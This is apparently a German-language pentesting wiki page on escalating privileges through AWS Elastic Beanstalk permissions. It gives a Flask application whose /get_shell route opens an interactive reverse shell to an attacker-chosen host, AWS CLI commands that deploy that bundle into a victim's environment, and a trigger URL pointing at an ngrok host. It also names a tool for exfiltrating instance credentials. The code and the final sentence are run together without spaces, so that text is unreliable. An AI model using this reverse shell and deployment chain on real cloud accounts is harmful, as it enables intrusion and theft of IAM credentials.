Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie viele sensible Berechtigungen in vielen verschiedenen Diensten. Sie können beispielsweise die Berechtigungen überprüfen, die arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk zugewiesen sind.
elasticbeanstalk:RebuildEnvironment, S3 Schreibberechtigungen & viele andere
Mit Schreibberechtigungen über den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen zum Wiederherstellen der Anwendung (es wird elasticbeanstalk:RebuildEnvironment und einige weitere, die mit S3, EC2 und Cloudformation zusammenhängen, benötigt), können Sie den Codeändern, die App neu erstellen und beim nächsten Zugriff auf die App wird Ihr neuer Code ausgeführt, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole und mehr...
Die genannten sowie mehrere S3, EC2, cloudformation, autoscaling und elasticloadbalancing Berechtigungen sind notwendig, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.
Erstellen Sie eine AWS Elastic Beanstalk-Anwendung:
Zuerst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer ausführen möchten, und dabei die vorherigen Schritte befolgen. Möglicherweise ein einfaches zip, das diese 2 Dateien enthält:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Sobald Sie Ihre eigene Beanstalk-Umgebung mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie Ihres Beanstalk-S3-Buckets aktualisieren, damit das Opfer darauf zugreifen kann (Beachten Sie, dass dies den Bucket für JEDENöffnet):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.